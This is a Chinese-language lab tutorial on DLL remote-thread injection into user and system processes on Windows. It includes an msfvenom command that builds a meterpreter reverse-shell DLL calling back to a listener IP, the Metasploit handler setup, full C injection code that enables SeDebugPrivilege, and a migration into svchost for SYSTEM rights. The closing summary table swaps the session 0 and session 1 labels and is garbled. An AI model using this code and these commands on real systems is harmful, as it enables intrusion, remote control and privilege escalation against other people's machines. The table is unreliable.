1. 概述

正常情况中我们进行DLL注入时只能注入到用户态的进程中，无法注入到系统进程中，这里面主要的原因为权限，本次通过使用SeDebugPrivilege进行权限提升，从而可以使DLL注入到系统进程中。

1.1 session 0

也就是系统层面的东西，看一下svchost.exe，其session为0
image.png

1.2 session 1

用户态的进程，如微信、QQ、浏览器等这种工作在用户层面的进程
image.png

2. session 1

2.1 创建恶意的DLL

  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=1234 -f dll > 1.dll

5. DLL注入之远程线程注入 - 图3

2.2 监听

  1. use exploit/multi/handler
  2. set payload windows/meterpreter/reverse_tcp
  3. set lhost 192.168.1.12
  4. set lport 1234
  5. run

image.png

2.3 注入进程权限

2.3.1 Windows权限机制

前面我们说过关于权限的情况

  1. 以用户权限运行的进程并没有任意系统资源的权限
  2. 恶意代码获取这些权限的唯一方法是通过设置访问令牌的权限来开启SeDebugPrivilege
  3. 在Windows中，访问令牌（Access Token）是一个包含进程安全描述符的对象，安全描述符用来指定拥有者的访问权限
  4. 可以通过调用AdjustTokenPrivilege来调整访问令牌

2.3.2 SeDebugPrivilege提权

  1. SeDebugPrivilege特权作为一个系统级别调试工具，可以用来获取系统进程拥有的所有权限
  2. 默认情况下，SeDebugPrivilege只赋给本地管理员账号
  3. 拥有SeDebugPrivilege权限同等于拥有本地管理员权限

2.3.3 提权代码

提权相关的代码如下所示：

  1. bool EnbalePrivileges() {
  2.         HANDLE hToken = NULL;
  3.         LUID luidValue = { 0 };
  4.         TOKEN_PRIVILEGES tp = { 0 };
  5.         DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,  &hToken);
  6.         if (wdret == NULL) {
  7.                errorprint("OpenProcessToken");
  8.         }
  9.         BOOL privilege=LookupPrivilegeValueA(NULL,"SeDebugPrivilege",&luidValue); //检索本地唯一性标识符的特定系统上用于局部地（LUID）表示指定的权限名称
  10.         if (privilege == false) {
  11.                errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
  12.         }
  13.         tp.PrivilegeCount = 1;
  14.         tp.Privileges[0].Luid = luidValue;
  15.         tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  16.         bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); //设置特权开启/关闭
  17.         if (bRet == false) {
  18.                errorprint("Enable Privilege Failure\n");
  19.         }
  20.         if (GetLastError() == ERROR_SUCCESS) {
  21.                printf("Enable Privilege:SeDebugPrivilege Sucess\n");
  22.         }
  23. }

2.4 DLL远程注入

把生成的恶意的DLL保存到C:\Users\Administrator\Desktop\1.dll，这里面注入的时候我们选择微信程序中
image.png
具体实现的代码如下：

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #define errorprint(name){printf("%s Error Code:%d\n",name,GetLastError());return 1;}
  4. bool EnbalePrivileges() {
  5.     HANDLE hToken = NULL;
  6.     LUID luidValue = { 0 };
  7.     TOKEN_PRIVILEGES tp = { 0 };
  8.     DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
  9.     if (wdret == NULL) {
  10.         errorprint("OpenProcessToken");
  11.     }
  12.     BOOL privilege = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
  13.     if (privilege == false) {
  14.         errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
  15.     }
  16.     tp.PrivilegeCount = 1;
  17.     tp.Privileges[0].Luid = luidValue;
  18.     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  19.     bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
  20.     if (bRet == false) {
  21.         errorprint("Enable Privilege Failure\n");
  22.     }
  23.     if (GetLastError() == ERROR_SUCCESS) {
  24.         printf("Enable Privilege:SeDebugPrivilege Sucess\n");
  25.     }
  26. }
  27. int main()
  28. {
  29.     int pid = 9920;
  30.     EnbalePrivileges();
  31.     char* dllname = "C:\\Users\\Administrator\\Desktop\\1.dll";
  32.     int dllnamesize = strlen(dllname) * 2;
  33.     HANDLE pidmodule = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  34.     if (pidmodule == NULL) {
  35.         printf("OpenProcess Error Code:%d\n", GetLastError());
  36.         return 1;
  37.     }
  38.     printf("OpenProcess HANDLE 0x%x\n", pidmodule);
  39.     LPVOID vaeAddr = VirtualAllocEx(pidmodule, NULL, dllnamesize, MEM_COMMIT, PAGE_READWRITE);
  40.     if (vaeAddr == NULL) {
  41.         printf("VirtualAllocEx Error Code:%d\n", GetLastError());
  42.         return 1;
  43.     }
  44.     printf("VirtualAllocEx Sucess 0x%x\n", vaeAddr);
  45.     if (false == WriteProcessMemory(pidmodule, vaeAddr, dllname, dllnamesize, NULL)) {
  46.         printf("WriteProcessMemory Error Code:%d\n", GetLastError());
  47.         return 1;
  48.     }
  49.     printf("WriteProcessMemory Sucess\n");
  50.     FARPROC loadaddress = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
  51.     if (loadaddress == NULL) {
  52.         printf("Get Kernel32 Address Error Code:%d\n", GetLastError());
  53.         return 1;
  54.     }
  55.     printf("Get Function LoadlibraryA Function Address:0x%x\n", loadaddress);
  56.     HANDLE runthread = CreateRemoteThread(pidmodule, NULL, 0, (LPTHREAD_START_ROUTINE)loadaddress, vaeAddr, 0, NULL);
  57.     if (runthread == NULL) {
  58.         printf("CreateRemoteThread Error Code:%d\n", GetLastError());
  59.     }
  60.     printf("CreateRemoteThread Sucess\n");
  61.     system("pause");
  62.     return 0;
  63. }

使用VS 2019直接Ctrl+F7编译，编译成功以后Ctrl+F5直接运行，结果如下所示：
image.png

2.5 反弹shell

执行成功以后，可以看到获取到相关的权限了。
image.png

3. session 0注入

上面的注入只能注入到session1的进程中，我们来测试一下注入到session0的进程。
但是session 0注入，测试了很多次，有的可以复现，有的却不行，可能和环境有关，下面是测试成功的系统。并且同一系统，有时候可以，有时候却不行。
image.png

3.1 存在问题

还是只能注入到用户态的进程，无法注入到系统进程中。
image.png
报错代码为：CreateRemoteThread Error Code:5。发现并不是权限的问题。
image.png
找一下MSDN,原因为生成的程序为32位的，直接改成64位即可以。
image.png
image.png

3.2 注入代码

3.2.1 注入进程

注入进程为svchost.exe，其是system账号运行
image.png

3.2.2 生成64位dll

image.png

3.2.3 注入代码

  1. #include <stdio.h>
  2. #include <Windows.h>
  3. #define errorprint(name){printf("%s Error Code:%d\n",name,GetLastError());return 1;}
  4. bool EnbalePrivileges() {
  5.     HANDLE hToken = NULL;
  6.     LUID luidValue = { 0 };
  7.     TOKEN_PRIVILEGES tp = { 0 };
  8.     DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
  9.     if (wdret == NULL) {
  10.         errorprint("OpenProcessToken");
  11.     }
  12.     BOOL privilege = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
  13.     if (privilege == false) {
  14.         errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
  15.     }
  16.     tp.PrivilegeCount = 1;
  17.     tp.Privileges[0].Luid = luidValue;
  18.     tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  19.     bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
  20.     if (bRet == false) {
  21.         errorprint("Enable Privilege Failure\n");
  22.     }
  23.     if (GetLastError() == ERROR_SUCCESS) {
  24.         printf("Enable Privilege:SeDebugPrivilege Sucess\n");
  25.     }
  26. }
  27. int main()
  28. {
  29.     int pid = 5708;
  30.     EnbalePrivileges();
  31.     char* dllname = "C:\\Users\\Administrator\\Desktop\\test.dll";
  32.     int dllnamesize = strlen(dllname) * 2;
  33.     HANDLE pidmodule = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
  34.     if (pidmodule == NULL) {
  35.         printf("OpenProcess Error Code:%d\n", GetLastError());
  36.         return 1;
  37.     }
  38.     printf("OpenProcess HANDLE 0x%x\n", pidmodule);
  39.     LPVOID vaeAddr = VirtualAllocEx(pidmodule, NULL, dllnamesize, MEM_COMMIT, PAGE_READWRITE);
  40.     if (vaeAddr == NULL) {
  41.         printf("VirtualAllocEx Error Code:%d\n", GetLastError());
  42.         return 1;
  43.     }
  44.     printf("VirtualAllocEx Sucess 0x%x\n", vaeAddr);
  45.     if (false == WriteProcessMemory(pidmodule, vaeAddr, dllname, dllnamesize, NULL)) {
  46.         printf("WriteProcessMemory Error Code:%d\n", GetLastError());
  47.         return 1;
  48.     }
  49.     printf("WriteProcessMemory Sucess\n");
  50.     FARPROC loadaddress = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
  51.     if (loadaddress == NULL) {
  52.         printf("Get Kernel32 Address Error Code:%d\n", GetLastError());
  53.         return 1;
  54.     }
  55.     printf("Get Function LoadlibraryA Function Address:0x%x\n", loadaddress);
  56.     HANDLE runthread = CreateRemoteThread(pidmodule, NULL, 0, (LPTHREAD_START_ROUTINE)loadaddress, vaeAddr, 0, NULL);
  57.     if (runthread == NULL) {
  58.         printf("CreateRemoteThread Error Code:%d\n", GetLastError());
  59.     }
  60.     printf("CreateRemoteThread Sucess\n");
  61.     system("pause");
  62.     return 0;
  63. }

3.3 编译运行

一定要选择64位
image.png
可以看到，运行成功。
image.png

3.4 反弹

可正常反弹
image.png

3.5 分析

可以看到其运行账号为system，但是其Pid为10172，10172对应的还是为rundll32.exe，所以其逻辑还是利用rundll32.exe来进行加载
image.png
但是网上看到有直接注入到svchost.exe中的，如下图所示：
image.png

4. session 1分析

4.1 权限

看一下权限，发现其有SeDebugPrivilege权限
image.png
获取的用户为administrator
image.png

4.2 主进程

和前面分析的一致，可以看到其是使用rundll32.exe来加载恶意的dll的。
image.png

4.3 进程迁移

前面看到其使用的进程为rundll32.exe，我们想迁移到svchost.exe，这样的话一方面是系统进程，如果能迁移到系统进程的话其运行的权限也就是svchost.exe进程的权限，我们可以看到svchost.exe进程对应的运行权限为system权限，因此我们可以使用migrate将注入的进程迁移到svchost.exe中，直接迁移，成功，再看一下，其权限为system权限。
image.png

5. 总结

根据这里面的分析和测试，可以得到以下结论：

注入类型 可注入进程 特点
session 0注入 用户态的进程，如微信、chrome等 利用rundll32.exe来加载恶意dll（win10）
网上看到有直接注入到用户态的进程，没有复现成功
session 1注入 系统态的乾，如svchost等 利用rundll32.exe来加载恶意dll（win10）
网上看到有直接注入到系统态的进程，没有复现成功